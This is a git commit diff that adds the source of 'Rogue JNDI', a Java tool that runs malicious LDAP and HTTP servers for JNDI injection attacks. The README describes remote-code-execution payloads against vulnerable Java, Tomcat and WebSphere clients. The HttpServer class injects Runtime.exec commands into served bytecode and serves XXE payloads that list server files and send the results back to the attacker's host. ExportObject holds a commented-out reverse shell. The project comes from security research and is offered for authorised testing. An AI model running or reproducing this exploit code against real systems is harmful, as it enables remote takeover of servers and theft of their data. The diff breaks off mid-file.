commit
2f7e814f60
@ -0,0 +1,16 @@ |
|||||||
|
# java |
||||||
|
*.class |
||||||
|
|
||||||
|
# mvn |
||||||
|
target/ |
||||||
|
|
||||||
|
# eclipse |
||||||
|
.classpath |
||||||
|
.project |
||||||
|
.settings/ |
||||||
|
|
||||||
|
# idea |
||||||
|
.idea/ |
||||||
|
*.iml |
||||||
|
|
||||||
|
dependency-reduced-pom.xml |
@ -0,0 +1,21 @@ |
|||||||
|
MIT License |
||||||
|
|
||||||
|
Copyright (c) 2019 Michael Stepankin |
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy |
||||||
|
of this software and associated documentation files (the "Software"), to deal |
||||||
|
in the Software without restriction, including without limitation the rights |
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell |
||||||
|
copies of the Software, and to permit persons to whom the Software is |
||||||
|
furnished to do so, subject to the following conditions: |
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all |
||||||
|
copies or substantial portions of the Software. |
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR |
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, |
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE |
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER |
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, |
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE |
||||||
|
SOFTWARE. |
@ -0,0 +1,84 @@ |
|||||||
|
## Rogue JNDI |
||||||
|
A malicious LDAP server for JNDI injection attacks. |
||||||
|
|
||||||
|
### Description |
||||||
|
The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.<br> |
||||||
|
In order to perform an attack, you can start these servers localy and then trigger a JNDI resolution on the vulnerable client, e.g.: |
||||||
|
```java |
||||||
|
InitialContext.lookup("ldap://your_server.com:1389/o=reference"); |
||||||
|
``` |
||||||
|
It will initiate a connection from the vulnerable clinet to the local LDAP server. |
||||||
|
Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution. |
||||||
|
|
||||||
|
### Motivation |
||||||
|
In addition to the known JNDI attack methods(via remote classloading in references), this tool brings new attack vectors by leveraging the power of [ObjectFactories](https://docs.oracle.com/javase/8/docs/api/javax/naming/spi/ObjectFactory.html). |
||||||
|
|
||||||
|
### Supported payloads |
||||||
|
* [RemoteReference.java](/src/main/java/artsploit/controllers/RemoteReference.java) - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191 |
||||||
|
* [Tomcat.java](/src/main/java/artsploit/controllers/Tomcat.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory** |
||||||
|
* [WebSphere1.java](/src/main/java/artsploit/controllers/WebSphere1.java) - leads to OOB XXE in **com.ibm.ws.webservices.engine.client.ServiceFactory** |
||||||
|
* [WebSphere2.java](/src/main/java/artsploit/controllers/WebSphere2.java) - leads to RCE via classpath manipulation in **com.ibm.ws.client.applicationclient.ClientJ2CCFFactory** |
||||||
|
|
||||||
|
### Usage |
||||||
|
``` |
||||||
|
$ java -jar target/RogueJndi-1.0.jar -h |
||||||
|
+-+-+-+-+-+-+-+-+-+ |
||||||
|
|R|o|g|u|e|J|n|d|i| |
||||||
|
+-+-+-+-+-+-+-+-+-+ |
||||||
|
Usage: java -jar target/RogueJndi-1.0.jar [options] |
||||||
|
Options: |
||||||
|
-c, --command Command to execute on the target server (default: |
||||||
|
/Applications/Calculator.app/Contents/MacOS/Calculator) |
||||||
|
-n, --hostname Local HTTP server hostname (required for remote |
||||||
|
classloading and websphere payloads) (default: |
||||||
|
192.168.1.10) |
||||||
|
-l, --ldapPort Ldap bind port (default: 1389) |
||||||
|
-p, --httpPort Http bind port (default: 8000) |
||||||
|
--wsdl [websphere1 payload option] WSDL file with XXE payload |
||||||
|
(default: /list.wsdl) |
||||||
|
--localjar [websphere2 payload option] Local jar file to load (this |
||||||
|
file should be located on the remote server) (default: |
||||||
|
../../../../../tmp/jar_cache7808167489549525095.tmp) |
||||||
|
-h, --help Show this help |
||||||
|
``` |
||||||
|
The most important parameters are the ldap server hostname (-n, should be accessible from the target) and the command you want to execute on the target server (-c). |
||||||
|
|
||||||
|
As an alternative to the "-c" option, you can modify the [ExportObject.java](/src/main/java/artsploit/ExportObject.java) file by putting java code you want to execute on the target server. |
||||||
|
|
||||||
|
### Example: |
||||||
|
``` |
||||||
|
$ java -jar target/RogueJndi-1.0.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10" |
||||||
|
+-+-+-+-+-+-+-+-+-+ |
||||||
|
|R|o|g|u|e|J|n|d|i| |
||||||
|
+-+-+-+-+-+-+-+-+-+ |
||||||
|
Starting HTTP server on 0.0.0.0:8000 |
||||||
|
Starting LDAP server on 0.0.0.0:1389 |
||||||
|
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference |
||||||
|
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference |
||||||
|
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat |
||||||
|
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1 |
||||||
|
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1 |
||||||
|
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2 |
||||||
|
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2 |
||||||
|
``` |
||||||
|
|
||||||
|
|
||||||
|
### Building |
||||||
|
Java v1.7+ and Maven v3+ required |
||||||
|
``` |
||||||
|
mvn package |
||||||
|
``` |
||||||
|
|
||||||
|
### Disclamer |
||||||
|
This software is provided solely for educational purposes and/or for testing systems which the user has prior permission to attack. |
||||||
|
|
||||||
|
### Special Thanks |
||||||
|
* [Alvaro Muñoz](https://twitter.com/pwntester) and [Oleksandr Mirosh](https://twitter.com/olekmirosh) for the excellent [whitepaper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) on JNDI attacks |
||||||
|
* [@zerothoughts](https://github.com/zerothoughts) for the inspirational [spring-jndi](https://github.com/zerothoughts/spring-jndi) repository |
||||||
|
* [Moritz Bechler](https://github.com/zerothoughts) for the eminent [marshallsec](https://github.com/mbechler/marshalsec) research |
||||||
|
|
||||||
|
### Links |
||||||
|
* An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog |
||||||
|
|
||||||
|
### Authors |
||||||
|
[Michael Stepankin](https://twitter.com/artsploit), Veracode Research |
@ -0,0 +1,92 @@ |
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> |
||||||
|
<modelVersion>4.0.0</modelVersion> |
||||||
|
|
||||||
|
<groupId>RogueJndi</groupId> |
||||||
|
<artifactId>RogueJndi</artifactId> |
||||||
|
<version>1.0</version> |
||||||
|
|
||||||
|
<packaging>jar</packaging> |
||||||
|
|
||||||
|
<dependencies> |
||||||
|
<dependency> |
||||||
|
<groupId>com.unboundid</groupId> |
||||||
|
<artifactId>unboundid-ldapsdk</artifactId> |
||||||
|
<version>3.1.1</version> |
||||||
|
</dependency> |
||||||
|
<dependency> |
||||||
|
<groupId>org.apache.tomcat.embed</groupId> |
||||||
|
<artifactId>tomcat-embed-core</artifactId> |
||||||
|
<version>8.5.45</version> |
||||||
|
</dependency> |
||||||
|
|
||||||
|
<dependency> |
||||||
|
<groupId>org.apache.tomcat.embed</groupId> |
||||||
|
<artifactId>tomcat-embed-el</artifactId> |
||||||
|
<version>8.5.45</version> |
||||||
|
</dependency> |
||||||
|
|
||||||
|
<dependency> |
||||||
|
<groupId>com.beust</groupId> |
||||||
|
<artifactId>jcommander</artifactId> |
||||||
|
<version>1.78</version> |
||||||
|
</dependency> |
||||||
|
|
||||||
|
<dependency> |
||||||
|
<groupId>org.reflections</groupId> |
||||||
|
<artifactId>reflections</artifactId> |
||||||
|
<version>0.9.11</version> |
||||||
|
</dependency> |
||||||
|
|
||||||
|
<dependency> |
||||||
|
<groupId>org.apache.commons</groupId> |
||||||
|
<artifactId>commons-text</artifactId> |
||||||
|
<version>1.8</version> |
||||||
|
</dependency> |
||||||
|
|
||||||
|
<dependency> |
||||||
|
<groupId>junit</groupId> |
||||||
|
<artifactId>junit</artifactId> |
||||||
|
<version>4.12</version> |
||||||
|
<scope>test</scope> |
||||||
|
</dependency> |
||||||
|
|
||||||
|
</dependencies> |
||||||
|
|
||||||
|
<properties> |
||||||
|
<maven.test.skip>true</maven.test.skip> |
||||||
|
</properties> |
||||||
|
|
||||||
|
<build> |
||||||
|
<plugins> |
||||||
|
<plugin> |
||||||
|
<artifactId>maven-shade-plugin</artifactId> |
||||||
|
<version>3.2.1</version> |
||||||
|
<executions> |
||||||
|
<execution> |
||||||
|
<phase>package</phase> |
||||||
|
<goals> |
||||||
|
<goal>shade</goal> |
||||||
|
</goals> |
||||||
|
<configuration> |
||||||
|
<transformers> |
||||||
|
<transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"> |
||||||
|
<mainClass>artsploit.RogueJndi</mainClass> |
||||||
|
</transformer> |
||||||
|
</transformers> |
||||||
|
</configuration> |
||||||
|
</execution> |
||||||
|
</executions> |
||||||
|
</plugin> |
||||||
|
<plugin> |
||||||
|
<groupId>org.apache.maven.plugins</groupId> |
||||||
|
<artifactId>maven-compiler-plugin</artifactId> |
||||||
|
<version>3.8.1</version> |
||||||
|
<configuration> |
||||||
|
<source>7</source> |
||||||
|
<target>7</target> |
||||||
|
</configuration> |
||||||
|
</plugin> |
||||||
|
</plugins> |
||||||
|
</build> |
||||||
|
</project> |
@ -0,0 +1,57 @@ |
|||||||
|
package artsploit; |
||||||
|
|
||||||
|
import com.beust.jcommander.JCommander; |
||||||
|
import com.beust.jcommander.Parameter; |
||||||
|
import com.beust.jcommander.UnixStyleUsageFormatter; |
||||||
|
|
||||||
|
import java.net.InetAddress; |
||||||
|
import java.net.UnknownHostException; |
||||||
|
|
||||||
|
public class Config { |
||||||
|
|
||||||
|
@Parameter(names = {"-c", "--command"}, description = "Command to execute on the target server", order = 0) |
||||||
|
public static String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; |
||||||
|
|
||||||
|
@Parameter(names = {"-n", "--hostname"}, description = "Local HTTP server hostname " + |
||||||
|
"(required for remote classloading and websphere payloads)", order = 1) |
||||||
|
public static String hostname; |
||||||
|
|
||||||
|
static { |
||||||
|
try { //try to get the local hostname by default
|
||||||
|
hostname = InetAddress.getLocalHost().getHostAddress(); |
||||||
|
} catch (UnknownHostException e) { |
||||||
|
hostname = "127.0.0.1"; |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
@Parameter(names = {"-l", "--ldapPort"}, description = "Ldap bind port", order = 2) |
||||||
|
public static int ldapPort = 1389; |
||||||
|
|
||||||
|
@Parameter(names = {"-p", "--httpPort"}, description = "Http bind port", order = 3) |
||||||
|
public static int httpPort = 8000; |
||||||
|
|
||||||
|
@Parameter(names = {"--wsdl"}, description = "[websphere1 payload option] WSDL file with XXE payload", order = 4) |
||||||
|
public static String wsdl = "/list.wsdl"; |
||||||
|
|
||||||
|
@Parameter(names = {"--localjar"}, description = "[websphere2 payload option] Local jar file to load " + |
||||||
|
"(this file should be located on the remote server)", order = 5) |
||||||
|
public static String localjar = "../../../../../tmp/jar_cache7808167489549525095.tmp"; |
||||||
|
|
||||||
|
@Parameter(names = {"-h", "--help"}, help = true, description = "Show this help") |
||||||
|
private static boolean help = false; |
||||||
|
|
||||||
|
public static void applyCmdArgs(String[] args) { |
||||||
|
//process cmd args
|
||||||
|
JCommander jc = JCommander.newBuilder() |
||||||
|
.addObject(new Config()) |
||||||
|
.build(); |
||||||
|
jc.parse(args); |
||||||
|
jc.setProgramName("java -jar target/RogueJndi-1.0.jar"); |
||||||
|
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); |
||||||
|
|
||||||
|
if(help) { |
||||||
|
jc.usage(); //if -h specified, show help and exit
|
||||||
|
System.exit(0); |
||||||
|
} |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,62 @@ |
|||||||
|
package artsploit; |
||||||
|
|
||||||
|
import javax.naming.Context; |
||||||
|
import javax.naming.Name; |
||||||
|
import java.io.InputStream; |
||||||
|
import java.io.OutputStream; |
||||||
|
import java.net.Socket; |
||||||
|
import java.util.Hashtable; |
||||||
|
|
||||||
|
/** |
||||||
|
* ExportObject class is served via HTTP for URLClassloaders |
||||||
|
* the bytecode of this constructor is patched in the {@link HttpServer} class
|
||||||
|
* by adding a new Runtime.exec(Config.command) to the top of the constructor |
||||||
|
* feel free to any code you want to execute on the target here |
||||||
|
*/ |
||||||
|
public class ExportObject implements javax.naming.spi.ObjectFactory { |
||||||
|
public ExportObject() { |
||||||
|
try { |
||||||
|
//oob check
|
||||||
|
// Runtime.getRuntime().exec("nslookup jndi.x.artsploit.com");
|
||||||
|
// Runtime.getRuntime().exec("calc.exe");
|
||||||
|
|
||||||
|
//Pure Groovy/Java Reverse Shell
|
||||||
|
//snatched from https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
|
||||||
|
// String lhost = "127.0.0.1";
|
||||||
|
// int lport = 8080;
|
||||||
|
//// String cmd = "cmd.exe"; //win
|
||||||
|
// String cmd="/bin/bash"; //linux
|
||||||
|
// Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
|
||||||
|
// Socket s = new Socket(lhost,lport);
|
||||||
|
// InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
|
||||||
|
// OutputStream po = p.getOutputStream(), so = s.getOutputStream();
|
||||||
|
// while(!s.isClosed()) {
|
||||||
|
// while(pi.available() > 0)
|
||||||
|
// so.write(pi.read());
|
||||||
|
// while(pe.available() > 0)
|
||||||
|
// so.write(pe.read());
|
||||||
|
// while(si.available() > 0)
|
||||||
|
// po.write(si.read());
|
||||||
|
// so.flush();
|
||||||
|
// po.flush();
|
||||||
|
// Thread.sleep(50);
|
||||||
|
// try {
|
||||||
|
// p.exitValue();
|
||||||
|
// break;
|
||||||
|
// } catch (Exception e){
|
||||||
|
//
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// p.destroy();
|
||||||
|
// s.close();
|
||||||
|
|
||||||
|
} catch(Exception e) { |
||||||
|
e.printStackTrace(); |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
@Override |
||||||
|
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { |
||||||
|
return null; |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,147 @@ |
|||||||
|
package artsploit; |
||||||
|
|
||||||
|
import com.sun.net.httpserver.HttpExchange; |
||||||
|
import com.sun.net.httpserver.HttpHandler; |
||||||
|
import javassist.ClassPool; |
||||||
|
import javassist.CtClass; |
||||||
|
import javassist.CtConstructor; |
||||||
|
import org.apache.commons.lang3.reflect.FieldUtils; |
||||||
|
import org.reflections.Reflections; |
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream; |
||||||
|
import java.lang.reflect.Field; |
||||||
|
import java.net.InetSocketAddress; |
||||||
|
import java.util.concurrent.Executors; |
||||||
|
import java.util.jar.JarOutputStream; |
||||||
|
import java.util.zip.ZipEntry; |
||||||
|
|
||||||
|
import static org.apache.commons.text.StringEscapeUtils.escapeJava; |
||||||
|
|
||||||
|
public class HttpServer implements HttpHandler { |
||||||
|
|
||||||
|
byte[] exportByteCode; |
||||||
|
byte[] exportJar; |
||||||
|
|
||||||
|
public static void start() throws Exception { |
||||||
|
System.out.println("Starting HTTP server on 0.0.0.0:" + Config.httpPort); |
||||||
|
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(Config.httpPort), 10); |
||||||
|
httpServer.createContext("/", new HttpServer()); |
||||||
|
httpServer.setExecutor(Executors.newCachedThreadPool()); |
||||||
|
httpServer.start(); |
||||||
|
} |
||||||
|
|
||||||
|
public HttpServer() throws Exception { |
||||||
|
exportByteCode = patchBytecode(ExportObject.class, Config.command, "xExportObject"); |
||||||
|
exportJar = createJar(exportByteCode, "xExportObject"); |
||||||
|
} |
||||||
|
|
||||||
|
/** |
||||||
|
* Patch the bytecode of supplied class constructor by injecting execution of a command |
||||||
|
*/ |
||||||
|
byte[] patchBytecode(Class clazz, String command, String newName) throws Exception { |
||||||
|
|
||||||
|
//load ExploitObject.class bytecode
|
||||||
|
ClassPool classPool = ClassPool.getDefault(); |
||||||
|
CtClass exploitClass = classPool.get(clazz.getName()); |
||||||
|
|
||||||
|
//patch its bytecode by adding a new command
|
||||||
|
CtConstructor m = exploitClass.getConstructors()[0]; |
||||||
|
m.insertBefore("{ Runtime.getRuntime().exec(\"" + escapeJava(command) + "\"); }"); |
||||||
|
exploitClass.setName(newName); |
||||||
|
exploitClass.detach(); |
||||||
|
return exploitClass.toBytecode(); |
||||||
|
} |
||||||
|
|
||||||
|
/** |
||||||
|
* Create an executable jar based on supplied bytecode |
||||||
|
*/ |
||||||
|
byte[] createJar(byte[] exportByteCode, String className) throws Exception { |
||||||
|
|
||||||
|
ByteArrayOutputStream bout = new ByteArrayOutputStream(); |
||||||
|
JarOutputStream jarOut = new JarOutputStream(bout); |
||||||
|
jarOut.putNextEntry(new ZipEntry(className + ".class")); |
||||||
|
jarOut.write(exportByteCode); |
||||||
|
jarOut.closeEntry(); |
||||||
|
jarOut.close(); |
||||||
|
bout.close(); |
||||||
|
|
||||||
|
return bout.toByteArray(); |
||||||
|
} |
||||||
|
|
||||||
|
public void handle(HttpExchange httpExchange) { |
||||||
|
try { |
||||||
|
String path = httpExchange.getRequestURI().getPath(); |
||||||
|
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " asking for " + path); |
||||||
|
|
||||||
|
switch (path) { |
||||||
|
case "/xExportObject.class": |
||||||
|
//send xExportObject bytecode back to client
|
||||||
|
httpExchange.sendResponseHeaders(200, exportByteCode.length); |
||||||
|
httpExchange.getResponseBody().write(exportByteCode); |
||||||
|
break; |
||||||
|
|
||||||
|
case "/xExportObject.jar": |
||||||
|
//send xExportObject bytecode in a jar archive
|
||||||
|
//payload for artsploit.controllers.WebSphere1-2
|
||||||
|
httpExchange.sendResponseHeaders(200, exportJar.length+1); |
||||||
|
httpExchange.getResponseBody().write(exportJar); |
||||||
|
System.out.println("Stalling connection for 60 seconds"); |
||||||
|
Thread.sleep(60000); |
||||||
|
System.out.println("Release stalling..."); |
||||||
|
break; |
||||||
|
|
||||||
|
case "/upload.wsdl": |
||||||
|
//payload for artsploit.controllers.WebSphere1-2
|
||||||
|
//intended to upload xExploitObject.jar into the /temp directory on server
|
||||||
|
String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.hostname + ":" + Config.httpPort + |
||||||
|
"/xExploitObject.jar!/file.txt\"><a></a>"; |
||||||
|
httpExchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); |
||||||
|
httpExchange.getResponseBody().write(uploadWsdl.getBytes()); |
||||||
|
break; |
||||||
|
|
||||||
|
case "/xx.http": |
||||||
|
//payload for artsploit.controllers.WebSphere1-2
|
||||||
|
//second part for upload.wsdl
|
||||||
|
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd '<import namespace=\"uri\" location=\"http://" + |
||||||
|
Config.hostname + ":" + Config.httpPort + "/xxeLog?%aaa;\"/>'>'>%ccc;"; |
||||||
|
httpExchange.sendResponseHeaders(200, xxhttp.getBytes().length); |
||||||
|
httpExchange.getResponseBody().write(xxhttp.getBytes()); |
||||||
|
break; |
||||||
|
|
||||||
|
case "/list.wsdl": |
||||||
|
//payload for artsploit.controllers.WebSphere1-2
|
||||||
|
//intended to list files in the /temp directory on server
|
||||||
|
String listWsdl = "" + |
||||||
|
"<!DOCTYPE x [\n" + |
||||||
|
" <!ENTITY % aaa SYSTEM \"file:///tmp/\">\n" + |
||||||
|
" <!ENTITY % bbb SYSTEM \"http://" + Config.hostname + ":" + Config.httpPort + "/xx.http\">\n" + |
||||||
|
" %bbb;\n" + |
||||||
|
"]>\n" + |
||||||
|
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" + |
||||||
|
" &ddd;\n" + |
||||||
|
"</definitions>"; |
||||||
|
|
||||||
|
httpExchange.sendResponseHeaders(200, listWsdl.getBytes().length); |
||||||
|
httpExchange.getResponseBody().write(listWsdl.getBytes()); |
||||||
|
break; |
||||||
|
|
||||||
|
case "/xxeLog": |
||||||
|
//xxe logger for websphere wsdl payloads
|
||||||
|
//hacky way to access private fields of (Request)((ExchangeImpl)((HttpExchangeImpl)httpExchange).impl).req
|
||||||
|
Object exchangeImpl = FieldUtils.readField(httpExchange, "impl", true); |
||||||
|
Object request = FieldUtils.readField(exchangeImpl, "req", true); |
||||||
|
String startLine = (String) FieldUtils.readField(request, "startLine", true); |
||||||
|
|
||||||
|
System.out.println("\u001B[31mxxe attack result: " + startLine + "\u001B[0m"); |
||||||
|
httpExchange.sendResponseHeaders(200, 0); |
||||||
|
break; |
||||||
|
|
||||||
|
default: |
||||||
|
httpExchange.sendResponseHeaders(200, 0); |
||||||
|
} |
||||||
|
httpExchange.close(); |
||||||
|
} catch(Exception e) { |
||||||
|
e.printStackTrace(); |
||||||
|
} |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,90 @@ |
|||||||
|
package artsploit; |
||||||
|
|
||||||
|
import artsploit.annotations.LdapMapping; |
||||||
|
import artsploit.controllers.LdapController; |
||||||
|
import com.unboundid.ldap.listener.InMemoryDirectoryServer; |
||||||
|
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; |
||||||
|
import com.unboundid.ldap.listener.InMemoryListenerConfig; |
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; |
||||||
|
import org.reflections.Reflections; |
||||||
|
|
||||||
|
import javax.net.ServerSocketFactory; |
||||||
|
import javax.net.SocketFactory; |
||||||
|
import javax.net.ssl.SSLSocketFactory; |
||||||
|
import java.lang.reflect.Constructor; |
||||||
|
import java.net.InetAddress; |
||||||
|
import java.util.Set; |
||||||
|
import java.util.TreeMap; |
||||||
|
|
||||||
|
class LdapServer extends InMemoryOperationInterceptor { |
||||||
|
|
||||||
|
TreeMap<String, LdapController> routes = new TreeMap<>(); |
||||||
|
|
||||||
|
public static void start() { |
||||||
|
try { |
||||||
|
System.out.println("Starting LDAP server on 0.0.0.0:" + Config.ldapPort); |
||||||
|
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); |
||||||
|
serverConfig.setListenerConfigs(new InMemoryListenerConfig( |
||||||
|
"listen", |
||||||
|
InetAddress.getByName("0.0.0.0"), |
||||||
|
Config.ldapPort, |
||||||
|
ServerSocketFactory.getDefault(), |
||||||
|
SocketFactory.getDefault(), |
||||||
|
(SSLSocketFactory) SSLSocketFactory.getDefault())); |
||||||
|
|
||||||
|
serverConfig.addInMemoryOperationInterceptor(new LdapServer()); |
||||||
|
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); |
||||||
|
ds.startListening(); |
||||||
|
} |
||||||
|
catch ( Exception e ) { |
||||||
|
e.printStackTrace(); |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
public LdapServer() throws Exception { |
||||||
|
|
||||||
|
//find all classes annotated with @LdapMapping
|
||||||
|
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName()) |
||||||
|
.getTypesAnnotatedWith(LdapMapping.class); |
||||||
|
|
||||||
|
//instantiate them and store in the routes map
|
||||||
|
for(Class<?> controller : controllers) { |
||||||
|
Constructor<?> cons = controller.getConstructor(); |
||||||
|
LdapController instance = (LdapController) cons.newInstance(); |
||||||
|
String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); |
||||||
|
for(String mapping : mappings) { |
||||||
|
if(mapping.startsWith("/")) |
||||||
|
mapping = mapping.substring(1); //remove first forward slash
|
||||||
|
|
||||||
|
System.out.printf("Mapping ldap://%s:%s/%s to %s\n", |
||||||
|
Config.hostname, Config.ldapPort, mapping, controller.getName()); |
||||||
|
routes.put(mapping, instance); |
||||||
|
} |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
/** |
||||||
|
* {@inheritDoc} |
||||||
|
* |
||||||
|
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) |
||||||
|
*/ |
||||||
|
@Override |
||||||
|
public void processSearchResult(InMemoryInterceptedSearchResult result) { |
||||||
|
String base = result.getRequest().getBaseDN(); |
||||||
|
LdapController controller = null; |
||||||
|
//find controller
|
||||||
|
for(String key: routes.keySet()) { |
||||||
|
//compare using wildcard at the end
|
||||||
|
if(key.equals(base) || key.endsWith("*") && base.startsWith(key.substring(0, key.length()-1))) { |
||||||
|
controller = routes.get(key); |
||||||
|
break; |
||||||
|
} |
||||||
|
} |
||||||
|
try { |
||||||
|
controller.sendResult(result, base); |
||||||
|
} catch (Exception e1) { |
||||||
|
e1.printStackTrace(); |
||||||
|
} |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,15 @@ |
|||||||
|
package artsploit; |
||||||
|
|
||||||
|
public class RogueJndi { |
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception { |
||||||
|
System.out.println( |
||||||
|
"+-+-+-+-+-+-+-+-+-+\n" + |
||||||
|
"|R|o|g|u|e|J|n|d|i|\n" + |
||||||
|
"+-+-+-+-+-+-+-+-+-+" |
||||||
|
); |
||||||
|
Config.applyCmdArgs(args); |
||||||
|
HttpServer.start(); |
||||||
|
LdapServer.start(); |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,43 @@ |
|||||||
|
package artsploit; |
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream; |
||||||
|
import java.io.IOException; |
||||||
|
import java.io.ObjectOutputStream; |
||||||
|
import java.util.ArrayList; |
||||||
|
|
||||||
|
public class Utilities { |
||||||
|
|
||||||
|
public static byte[] serialize(Object ref) throws IOException { |
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream(); |
||||||
|
ObjectOutputStream objOut = new ObjectOutputStream(out); |
||||||
|
objOut.writeObject(ref); |
||||||
|
return out.toByteArray(); |
||||||
|
} |
||||||
|
|
||||||
|
public static String makeJavaScriptString(String str) { |
||||||
|
|
||||||
|
ArrayList<String> result = new ArrayList<>(str.length()); |
||||||
|
for(int i=0; i<str.length(); i++) { |
||||||
|
Integer x = Character.codePointAt(str, i); |
||||||
|
result.add(x.toString()); |
||||||
|
} |
||||||
|
return "String.fromCharCode(" + String.join(",", result) + ")"; |
||||||
|
} |
||||||
|
|
||||||
|
/** |
||||||
|
* Get a parameter value from the baseDN ldap string |
||||||
|
* e.g. getDnParam("o=was2,file=/etc/passwd,xxx=yyy", "file") returns "/etc/passwd" |
||||||
|
*/ |
||||||
|
public static String getDnParam(String baseDN, String param) { |
||||||
|
int startIndex = baseDN.indexOf(param + "="); |
||||||
|
if(startIndex == -1) |
||||||
|
return null; |
||||||
|
|
||||||
|
startIndex += param.length() + 1 ; |
||||||
|
int endIndex = baseDN.indexOf(',', startIndex); |
||||||
|
if(endIndex == -1) |
||||||
|
return baseDN.substring(startIndex); |
||||||
|
else |
||||||
|
return baseDN.substring(startIndex, endIndex); |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,12 @@ |
|||||||
|
package artsploit.annotations; |
||||||
|
|
||||||
|
import java.lang.annotation.ElementType; |
||||||
|
import java.lang.annotation.Retention; |
||||||
|
import java.lang.annotation.RetentionPolicy; |
||||||
|
import java.lang.annotation.Target; |
||||||
|
|
||||||
|
@Retention(RetentionPolicy.RUNTIME) |
||||||
|
@Target(ElementType.TYPE) |
||||||
|
public @interface LdapMapping { |
||||||
|
String[] uri(); |
||||||
|
} |
@ -0,0 +1,7 @@ |
|||||||
|
package artsploit.controllers; |
||||||
|
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||||
|
|
||||||
|
public interface LdapController { |
||||||
|
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; |
||||||
|
} |
@ -0,0 +1,19 @@ |
|||||||
|
package com.ibm.websphere.client.factory.jdbc; |
||||||
|
|
||||||
|
import javax.naming.RefAddr; |
||||||
|
import java.util.Properties; |
||||||
|
|
||||||
|
//this is a stub class required by WebSphere2 ldap handler
|
||||||
|
public class PropertiesRefAddr extends RefAddr { |
||||||
|
private static final long serialVersionUID = 288055886942232156L; |
||||||
|
private Properties props; |
||||||
|
|
||||||
|
public PropertiesRefAddr(String addrType, Properties props) { |
||||||
|
super(addrType); |
||||||
|
this.props = props; |
||||||
|
} |
||||||
|
|
||||||
|
public Object getContent() { |
||||||
|
return this.props; |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,40 @@ |
|||||||
|
package artsploit.controllers; |
||||||
|
|
||||||
|
import artsploit.Config; |
||||||
|
